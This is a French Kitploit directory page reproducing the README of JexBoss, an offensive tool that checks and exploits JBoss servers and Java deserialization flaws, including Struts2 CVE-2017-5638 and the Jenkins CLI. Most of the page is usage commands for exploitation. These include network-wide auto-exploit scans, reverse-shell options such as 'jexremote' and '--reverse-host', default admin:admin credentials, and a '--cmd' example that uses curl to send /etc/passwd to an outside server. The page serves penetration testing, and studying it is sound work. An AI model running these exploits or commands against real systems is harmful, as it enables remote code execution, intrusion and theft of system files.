Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
jexboss — JexBoss : outil de vérification et d'EXploitation de Jboss (et des vulnérabilités de désérialisation Java) | Kitploit
Outils/GitHubGitHub/joaomatosf/jexboss
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'Intrusion
GitHubjoaomatosf/jexboss

jexboss

JexBoss : outil de vérification et d'EXploitation de Jboss (et des vulnérabilités de désérialisation Java)

Voir le dépôt
2.5k640il y a 9 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

JexBoss - JBoss (et autres vulnérabilités de désérialisation Java) Outil de vérification et d'exploitation

JexBoss est un outil pour tester et exploiter les vulnérabilités du serveur d'applications JBoss et d'autres plates-formes, frameworks et applications Java.

Prérequis

  • Python >= 2.7.x
  • urllib3
  • ipaddress

Installation sur Linux\Mac

Pour installer la dernière version de JexBoss, veuillez utiliser les commandes suivantes :

root@kitploit:~
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080

OU :

Téléchargez la dernière version à : https://github.com/joaomatosf/jexboss/archive/master.zip
unzip master.zip
cd jexboss-master
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080

Si vous utilisez CentOS avec Python 2.6, veuillez installer Python2.7. Exemple d'installation de Python 2.7 sur CentOS en utilisant Collections Software scl :

root@kitploit:~
yum -y install centos-release-scl
yum -y install python27
scl enable python27 bash

Installation sur Windows

Si vous utilisez Windows, vous pouvez utiliser Git Bash pour exécuter JexBoss. Suivez les étapes ci-dessous :

  • Téléchargez et installez Python
  • Téléchargez et installez Git for Windows
  • Après l'installation, exécutez Git for Windows et tapez les commandes suivantes :
root@kitploit:~
    PATH=$PATH:C:\Python27\
    PATH=$PATH:C:\Python27\Scripts
    git clone https://github.com/joaomatosf/jexboss.git
    cd jexboss
    pip install -r requires.txt
    python jexboss.py -h
    python jexboss.py -host http://target_host:8080
    

Fonctionnalités

L'outil et les exploits ont été développés et testés pour :

  • Versions du serveur d'applications JBoss : 3, 4, 5 et 6.
  • Vulnérabilités de désérialisation Java dans plusieurs frameworks, plates-formes et applications Java (par exemple, Java Server Faces - JSF, Seam Framework, RMI over HTTP, Jenkins CLI RCE (CVE-2015-5317), JMX distant (CVE-2016-3427, CVE-2016-8735), etc.)

Les vecteurs d'exploitation sont :

  • /admin-console
    • testé et fonctionne sur les versions 5 et 6 de JBoss
  • /jmx-console
    • testé et fonctionne sur les versions 4, 5 et 6 de JBoss
  • /web-console/Invoker
    • testé et fonctionne sur les versions 4, 5 et 6 de JBoss
  • /invoker/JMXInvokerServlet
    • testé et fonctionne sur les versions 4, 5 et 6 de JBoss
  • Désérialisation d'application
    • testé et fonctionne contre plusieurs applications Java, plates-formes, etc., via des paramètres HTTP POST
  • Désérialisation de servlet
    • testé et fonctionne contre plusieurs applications Java, plates-formes, etc., via des servlets qui traitent des objets sérialisés (par exemple, lorsque vous voyez un "Invoker" dans un lien)
  • Apache Struts2 CVE-2017-5638
    • testé sur les applications Apache Struts 2
  • Autres

Vidéos

  • Exploitation des vulnérabilités de désérialisation Java (RCE) sur les applications JSF/Seam via javax.faces.ViewState avec JexBoss

Texte alt

  • Exploitation du serveur d'applications JBoss avec JexBoss

Texte alt

  • Exploitation d'Apache Struts2 (RCE) avec JexBoss (CVE-2017-5638)

Texte alt

Captures d'écran

  • Exemples d'utilisation simple :
root@kitploit:~
$ python jexboss.py

alt tag

  • Exemple de mode autonome contre JBoss :
root@kitploit:~
$ python jexboss.py -u http://192.168.0.26:8080

alt tag alt tag

  • Modes d'utilisation :
root@kitploit:~
$ python jexboss.py -h
  • Mode scan réseau :
root@kitploit:~
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080 -results results.txt

alt tag

  • Scan réseau avec mode d'exploitation automatique :
root@kitploit:~
$ python jexboss.py -mode auto-scan -A -network 192.168.0.0/24 -ports 8080 -results results.txt

alt tag

  • Résultats et recommandations :

alt tag

Reverse Shell (intégration meterpreter)

Après avoir exploité un serveur JBoss, vous pouvez utiliser le shell de commandes de jexboss lui-même ou effectuer une connexion inverse en utilisant la commande suivante :

root@kitploit:~
   jexremote=YOUR_IP:YOUR_PORT

   Exemple :
     Shell>jexremote=192.168.0.10:4444
  • Exemple : alt tag

Lors de l'exploitation de vulnérabilités de désérialisation Java (Désérialisation d'application, Désérialisation de servlet), les options par défaut sont : établir une connexion shell inverse ou envoyer une commande à exécuter.

Exemples d'utilisation

  • Pour les vulnérabilités de désérialisation Java dans un paramètre HTTP personnalisé et pour envoyer une commande personnalisée à exécuter sur le serveur exploité :
root@kitploit:~
$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name --cmd 'curl -d@/etc/passwd http://your_server'
  • Pour les vulnérabilités de désérialisation Java dans un paramètre HTTP personnalisé et pour établir un shell inverse (cela demandera une adresse IP et un port de votre hôte distant) :
root@kitploit:~
$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name
  • Pour les vulnérabilités de désérialisation Java dans une servlet (comme Invoker) :
root@kitploit:~
$ python jexboss.py -u http://vulnerable_java_app/path --servlet-unserialize
  • Pour Apache Struts 2 (CVE-2017-5638)
root@kitploit:~
$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2
  • Pour Apache Struts 2 (CVE-2017-5638) avec cookies pour ressources authentifiées
root@kitploit:~
$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2 --cookies "JSESSIONID=24517D9075136F202DCE20E9C89D424D"
  • Mode scan automatique :
root@kitploit:~
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 -results report_auto_scan.log
  • Mode scan fichier :
root@kitploit:~
$ python jexboss.py -mode file-scan -file host_list.txt -out report_file_scan.log
  • Plus d'options :
root@kitploit:~
arguments optionnels :
  -h, --help            affiche ce message d'aide et quitte
  --version             affiche le numéro de version du programme et quitte
  --auto-exploit, -A    Envoie automatiquement le code d'exploitation (UTILISEZ UNIQUEMENT SI VOUS AVEZ L'AUTORISATION !!!)
  --disable-check-updates, -D
                        Désactive deux vérifications de mise à jour : 1) Vérification des mises à jour effectuée par la webshell sur le serveur exploité à http://webshell.jexboss.net/jsp_version.txt et 2) vérification des mises à jour effectuée par le client jexboss à http://joaomatosf.com/rnp/releases.txt
  -mode {standalone,auto-scan,file-scan}
                        Mode de fonctionnement (DÉFAUT : standalone)
  --app-unserialize, -j
                        Vérifie les vulnérabilités de désérialisation Java dans les paramètres HTTP (ex. javax.faces.ViewState, oldFormData, etc.)
  --servlet-unserialize, -l
                        Vérifie les vulnérabilités de désérialisation Java dans les servlets (comme les interfaces Invoker)
  --jboss               Vérifie uniquement les vecteurs JBOSS.
  --jenkins             Vérifie uniquement le vecteur Jenkins CLI.
  --jmxtomcat           Vérifie JMX JmxRemoteLifecycleListener dans Tomcat (CVE-2016-8735 et CVE-2016-8735). OBS : Ne sera pas vérifié par défaut.
  --proxy PROXY, -P PROXY
                        Utilise un proxy http pour se connecter à l'URL cible (ex. -P http://192.168.0.1:3128)
  --proxy-cred LOGIN:PASS, -L LOGIN:PASS
                        Identifiants d'authentification du proxy (ex -L name:password)
  --jboss-login LOGIN:PASS, -J LOGIN:PASS
                        Identifiant et mot de passe JBoss pour exploiter admin-console sur JBoss 5 et JBoss 6 (défaut : admin:admin)
  --timeout TIMEOUT     Secondes à attendre avant le délai de connexion (défaut 3)

Mode autonome :
  -host HOST, -u HOST   Adresse de l'hôte à vérifier (ex. -u http://192.168.0.10:8080)

Options avancées (UTILISER LORS DE L'EXPLOITATION DE JAVA UNSERIALIZE DANS LA COUCHE APPLICATION) :
  --reverse-host RHOST:RPORT, -r RHOST:RPORT
                        Adresse et port de l'hôte distant pour le shell inverse lors de l'exploitation de vulnérabilités de désérialisation Java dans la couche application (pour l'instant, fonctionne uniquement sur les systèmes *nix) (ex. 192.168.0.10:1331)
  --cmd CMD, -x CMD     Envoie une commande spécifique à exécuter sur la cible (ex. curl -d @/etc/passwd http://your_server)
  --windows, -w         Spécifie que les commandes sont pour un système WINDOWS (cmd.exe)
  --post-parameter PARAMETER, -H PARAMETER
                        Spécifie le paramètre dans lequel trouver et injecter des objets sérialisés. (ex. -H javax.faces.ViewState ou -H oldFormData (<- Salut PayPal =X) ou autres) (DÉFAUT : javax.faces.ViewState)
  --show-payload, -t    Affiche la charge utile générée.
  --gadget {commons-collections3.1,commons-collections4.0,groovy1}
                        Spécifie le type de gadget pour générer automatiquement la charge utile. (DÉFAUT : commons-collections3.1 ou groovy1 pour JenKins)
  --load-gadget FILENAME
                        Fournissez votre propre gadget depuis un fichier (un objet Java sérialisé en mode RAW)
  --force, -F           Force l'envoi de gadgets Java sérialisés à l'URL indiquée dans -u. Cela enverra la charge utile dans plusieurs formats (ex. RAW, GZIPED et BASE64) et avec différents Content-Types.

Mode scan automatique :
  -network NETWORK      Réseau à vérifier au format CIDR (ex. 10.0.0.0/8)
  -ports PORTS          Liste des ports séparés par des virgules à vérifier pour chaque hôte (ex. 8080,8443,8888,80,443)
  -results FILENAME     Nom du fichier pour stocker les résultats du scan automatique

Mode scan fichier :
  -file FILENAME_HOSTS  Nom du fichier contenant la liste des hôtes à scanner (un hôte par ligne)
  -out FILENAME_RESULTS
                        Nom du fichier pour stocker les résultats du scan fichier

Questions, problèmes, suggestions, etc. :

  • [email protected]
Télécharger l’outil